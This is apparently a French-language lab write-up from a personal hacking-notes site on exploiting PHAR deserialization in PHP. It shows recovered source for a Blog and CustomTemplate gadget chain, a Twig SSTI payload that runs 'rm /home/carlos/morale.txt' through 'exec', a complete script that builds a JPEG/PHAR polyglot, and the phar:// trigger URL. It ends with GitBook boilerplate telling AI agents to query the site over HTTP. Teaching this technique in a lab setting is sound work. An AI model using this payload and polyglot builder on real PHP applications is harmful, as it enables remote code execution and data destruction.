> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/deserialization/phar-deserialization-with-custom-chain.md).

# Désérialisation PHAR avec chaîne personnalisée

### Utiliser la désérialisation PHAR pour déployer une chaîne de gadgets personnalisée

Ce labo le fait **pas** effectuer une désérialisation classique explicite. L'idée est de **provoquer** la désérialisation en exploitant le comportement de PHP avec l'enveloppe **`phar://`**, afin d'atteindre un **RCE** via un **chaîne de gadgets personnalisée**, puis supprimer :

* `/home/carlos/morale.txt`

Identifiant fourni :

* `wiener:peter`

<figure><img src="/files/275ee9faf519a89d06efc22a7009c468c76b856a" alt=""><figcaption></figcaption></figure>

### (1) Marquage côté application

#### Téléversement d'avatar

Après authentification, vous pouvez **téléverser un fichier** via une requête POST sur la fonctionnalité d'avatar.1) Marquage côté application

<figure><img src="/files/a61311147c162e72a74bb6de44269f7ce176e181" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3058edb03d2e49861bd62979089be89df6de8c6d" alt=""><figcaption></figcaption></figure>

Lorsque vous cliquez sur l'image de profil, déclenchez le chargement via :

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="/files/330ae7f8d3979c7964dc0d82e892775ca436b229" alt=""><figcaption></figcaption></figure>

#### Fichiers lisibles dans `/cgi-bin/`

Lors de la visite de `/cgi-bin/`, plusieurs fichiers sont **lisibles** (utile pour récupérer le code et construire la chaîne).

| Nom                   | Taille |
| --------------------- | ------ |
| CustomTemplate.php    | 1091B  |
| CustomTemplate.php/\~ | 0B     |
| Blog.php              | 628B   |
| Blog.php/\~           | 0B     |
| avatar.php            | 540B   |

<figure><img src="/files/353d6a0b3bfb7e3459d2e8c4effc6506e7c3d10c" alt=""><figcaption></figcaption></figure>

#### 2) Code source récupéré

#### `blog.php`

Il y a un `Blog` classe qui initialise Twig dans `__wakeup()`:

* `__sleep()` sérialise `utilisateur` et `desc`
* `__wakeup()` construit un `Twig_Environment` avec un modèle basé sur `desc`
* `__toString()` rendu `index` et injecte `utilisateur`

Point important : `desc` devient directement un **modèle Twig**, donc il peut être utilisé pour cibler **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

Le `CustomTemplate` la classe contient :

* un `$template_file_path` champ
* un `__destruct()` destructeur qui fait :
* `@unlink($this->lockFilePath());`

`lockFilePath()` construit :

* `'templates/' . $this->template_file_path . '.lock'`

Donc, si nous contrôlons `template_file_path` avec un objet qui se convertit en chaîne, nous pouvons influencer le chemin utilisé par `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Impossible d'écrire dans " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Impossible d'écrire dans " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos a pensé que ce serait une bonne idée
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Charge utile Twig (SSTI → exécution)

Charge utile Twig utilisée :

Objectif : exécuter `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Stratégie d'exploitation : PHAR polyglotte

Le défi : le téléversement attend un **image**. / Solution : créer un **polyglotte** fichier :

* Valide comme **JPEG**
* mais contenant un **PHAR** (format tar/phar) avec **des métadonnées** sérialisé

Pourquoi cela fonctionne-t-il ?

* Lorsque PHP ouvre une ressource via `phar://...`, cela peut déclencher la lecture du manifeste PHAR et **certaines métadonnées** (donc exécuter `__wakeup`, `__destruct`, etc., selon la chaîne).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // supprimer <?php ne fonctionne pas avec le préfixe
    $len = strlen($phar) + 2; // corrigé
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calculer la somme de contrôle tar
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // intégrer la somme de contrôle
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// classe d'exploitation pop
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// config pour jpg
$tempname = 'temp.tar.phar'; // le rendre tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// créer le jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// config pour gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // en-tête gif, taille 300 x 300
$tempname = 'temp.phar'; // le rendre phar
$outfile = 'out.gif';

// créer le gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Chaîne de gadgets construite

Tu fabriques :

* un `Blog` objet avec :
* `user = "pwned"`
* `desc = <charge utile Twig SSTI>`
* puis vous placez cet objet dans `CustomTemplate->template_file_path`

Ainsi, lorsque `CustomTemplate` est détruit, `lockFilePath()` va concaténer une valeur provenant d'un objet, ce qui force une conversion en chaîne → appelle `Blog::__toString()` → déclenche `twig->render()` → interpréter `desc` → exécute la commande.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="/files/98d1ab4b9b9392583dfbdedf50ce5ff9fefd440e" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:\"CustomTemplate\":1:{s:18:\"template_file_path\";O:4:\"Blog\":2:{s:4:\"user\";s:5:\"pwned\";s:4:\"desc\";s:106:\"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}\";}}"
```

{% endcode %}

* Téléverser `out.jpg` comme avatar

<figure><img src="/files/036920e76c1a3705261d74b97e02f310063a9dc3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b42ed0a0bdae87b7a68e9488d6b406cb8fbe6960" alt=""><figcaption></figcaption></figure>

Appel de ressource via `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

À ce moment-là, l'application ouvre la ressource avec l'enveloppe PHAR, les métadonnées sont désérialisées, la chaîne se déclenche, et le fichier :

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
